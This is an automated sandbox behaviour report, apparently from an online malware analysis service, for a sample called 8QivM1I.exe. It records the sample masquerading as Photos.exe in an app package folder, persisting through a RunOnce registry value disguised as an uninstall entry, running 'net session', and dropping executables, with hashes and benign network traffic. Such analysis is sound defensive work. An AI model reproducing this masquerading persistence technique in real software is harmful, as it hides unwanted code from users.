Microsoft Corporation
Integrity Level:
HIGH
Description:
Windows PowerShell
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\windowspowershell\v1.0\powershell.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\apphelp.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\oleaut32.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\atl.dll
5072"C:\Users\admin\AppData\Local\Packages\Microsoft.Windows.Photos_2wekybc98bbwe\cache\Photos.exe" C:\Users\admin\AppData\Local\Packages\Microsoft.Windows.Photos_2wekybc98bbwe\cache\Photos.exe
Photos.exe
User:
admin
Integrity Level:
HIGH
Modules
Images
c:\users\admin\appdata\local\packages\microsoft.windows.photos_2wekybc98bbwe\cache\photos.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\apphelp.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\shell32.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\user32.dll
c:\windows\system32\win32u.dll
5352"C:\Users\admin\AppData\Local\Temp\8QivM1I.exe" C:\Users\admin\AppData\Local\Temp\8QivM1I.exe
explorer.exe
User:
admin
Integrity Level:
MEDIUM
Exit code:
0
Modules
Images
c:\users\admin\appdata\local\temp\8qivm1i.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\apphelp.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\shell32.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\user32.dll
c:\windows\system32\win32u.dll
5892\??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1C:\Windows\System32\conhost.exe—powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Console Window Host
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\conhost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\shcore.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
6480"net" sessionC:\Windows\System32\net.exe—8QivM1I.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Net Command
Exit code:
2
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\net.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\apphelp.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\bcrypt.dll
Total events
27 692
Read events
27 688
Write events
4
Delete events
0

Modification events

(PID) Process:(5352) 8QivM1I.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce
Operation:writeName:Uninstall 28.028.0197.0001
Value:
C:\Users\admin\AppData\Local\Packages\Microsoft.Windows.Photos_2wekybc98bbwe\cache\Photos.exe
(PID) Process:(7308) 8QivM1I.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce
Operation:writeName:Uninstall 28.028.0197.0001
Value:
C:\Users\admin\AppData\Local\Packages\Microsoft.Windows.Photos_2wekybc98bbwe\cache\Photos.exe
(PID) Process:(8016) Photos.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce
Operation:writeName:Uninstall 28.028.0197.0001
Value:
C:\Users\admin\AppData\Local\Packages\Microsoft.Windows.Photos_2wekybc98bbwe\cache\Photos.exe
(PID) Process:(5072) Photos.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce
Operation:writeName:Uninstall 28.028.0197.0001
Value:
C:\Users\admin\AppData\Local\Packages\Microsoft.Windows.Photos_2wekybc98bbwe\cache\Photos.exe
Executable files
2
Suspicious files
2
Text files
16
Unknown types
0

Dropped files

PID
Process
Filename
Type
616powershell.exeC:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_al3jgiea.c2r.ps1text
MD5:D17FE0A3F47BE24A6453E9EF58C94641
SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
73088QivM1I.exeC:\Users\admin\AppData\Local\Packages\Microsoft.Windows.NarratorQuickStart_4wekybc58bbwe\opt83\NarratorQuickStart.exeexecutable
MD5:7FDE98A13CC16C959BDE2400038DA6AF
SHA256:7C7E8BB992F47F545AB9DD884982BFD4E1DFA41C8191ECDA031DDE13A6623800
7440powershell.exeC:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_cldo2mxx.wqf.ps1text
MD5:D17FE0A3F47BE24A6453E9EF58C94641
SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
7752powershell.exeC:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_2ozebqr2.qmb.ps1text
MD5:D17FE0A3F47BE24A6453E9EF58C94641
SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
7752powershell.exeC:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_iee1vnae.kyr.psm1text
MD5:D17FE0A3F47BE24A6453E9EF58C94641
SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
53528QivM1I.exeC:\Users\admin\AppData\Local\Packages\Microsoft.Windows.Photos_2wekybc98bbwe\cache\Photos.exeexecutable
MD5:D3884CC519C6855AE20D64264D5F6E93
SHA256:CDFE71F5F359BE56FC6FB2B5BFA6C34042CD2E6114A82FA0C3B147106E731D6A
7440powershell.exeC:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_dsmikemq.xqv.psm1text
MD5:D17FE0A3F47BE24A6453E9EF58C94641
SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
7440powershell.exeC:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_1w1yvg4a.nll.ps1text
MD5:D17FE0A3F47BE24A6453E9EF58C94641
SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
7440powershell.exeC:\Users\admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCachebinary
MD5:3F95A05381C6D14195F6A1538F5FBADE
SHA256:0E753E9AD3EDE811C17D076B462F85321B8F559C2E462AF0990A1653573A525F
7440powershell.exeC:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_23vreu2d.3db.psm1text
MD5:D17FE0A3F47BE24A6453E9EF58C94641
SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
6
TCP/UDP connections
21
DNS requests
15
Threats
0

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
5496
MoUsoCoreWorker.exe
GET
200
23.48.23.156:80
http://crl.microsoft.com/pki/crl/products/MicRooCerAut2011_2011_03_22.crl
unknown
—
—
whitelisted
2104
svchost.exe
GET
304
23.35.229.160:80
http://www.microsoft.com/pkiops/crl/MicSecSerCA2011_2011-10-18.crl
unknown
—
—
whitelisted
5496
MoUsoCoreWorker.exe
GET
200
23.35.229.160:80
http://www.microsoft.com/pkiops/crl/MicSecSerCA2011_2011-10-18.crl
unknown
—
—
whitelisted
7696
SIHClient.exe
GET
200
23.35.229.160:80
http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Product%20Root%20Certificate%20Authority%202018.crl
unknown
—
—
whitelisted
6544
svchost.exe
GET
200
2.17.190.73:80
http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAJ0LqoXyo4hxxe7H%2Fz9DKA%3D
unknown
—
—
whitelisted
7696
SIHClient.exe
GET
200
23.35.229.160:80
http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Update%20Secure%20Server%20CA%202.1.crl
unknown
—
—
whitelisted
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
4
System
192.168.100.255:137
—
—
—
whitelisted
4932
RUXIMICS.exe
20.73.194.208:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
NL
whitelisted
—
—
20.73.194.208:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
NL
whitelisted
5496
MoUsoCoreWorker.exe
23.48.23.156:80
crl.microsoft.com
Akamai International B.V.
DE
whitelisted
5496
MoUsoCoreWorker.exe
23.35.229.160:80
www.microsoft.com
AKAMAI-AS
DE
whitelisted
2104
svchost.exe
23.35.229.160:80
www.microsoft.com
AKAMAI-AS
DE
whitelisted
4
System
192.168.100.255:138
—
—
—
whitelisted
3216
svchost.exe
172.211.123.248:443
client.wns.windows.com
MICROSOFT-CORP-MSN-AS-BLOCK
FR
whitelisted
6544
svchost.exe
40.126.32.74:443
login.live.com
MICROSOFT-CORP-MSN-AS-BLOCK
NL
whitelisted
6544
svchost.exe
2.17.190.73:80
ocsp.digicert.com
AKAMAI-AS
DE
whitelisted

DNS requests

Domain
IP
Reputation
settings-win.data.microsoft.com
  • 20.73.194.208
  • 51.124.78.146
whitelisted
google.com
  • 142.250.184.238
whitelisted
crl.microsoft.com
  • 23.48.23.156
  • 23.48.23.143
whitelisted
www.microsoft.com
  • 23.35.229.160
whitelisted
client.wns.windows.com
  • 172.211.123.248
whitelisted
login.live.com
  • 40.126.32.74
  • 40.126.32.138
  • 20.190.160.3
  • 20.190.160.14
  • 20.190.160.4
  • 20.190.160.5
  • 20.190.160.128
  • 40.126.32.133
whitelisted
ocsp.digicert.com
  • 2.17.190.73
whitelisted
slscr.update.microsoft.com
  • 172.202.163.200
whitelisted
fe3cr.delivery.mp.microsoft.com
  • 13.95.31.18
whitelisted
activation-v2.sls.microsoft.com
  • 20.83.72.98
whitelisted

Threats

No threats detected
No debug info
Interactive malware hunting service ANY.RUN
© 2017-2025 ANY.RUN LLC. ALL RIGHTS RESERVED
ANY.RUN
Reports
8QivM1I.exe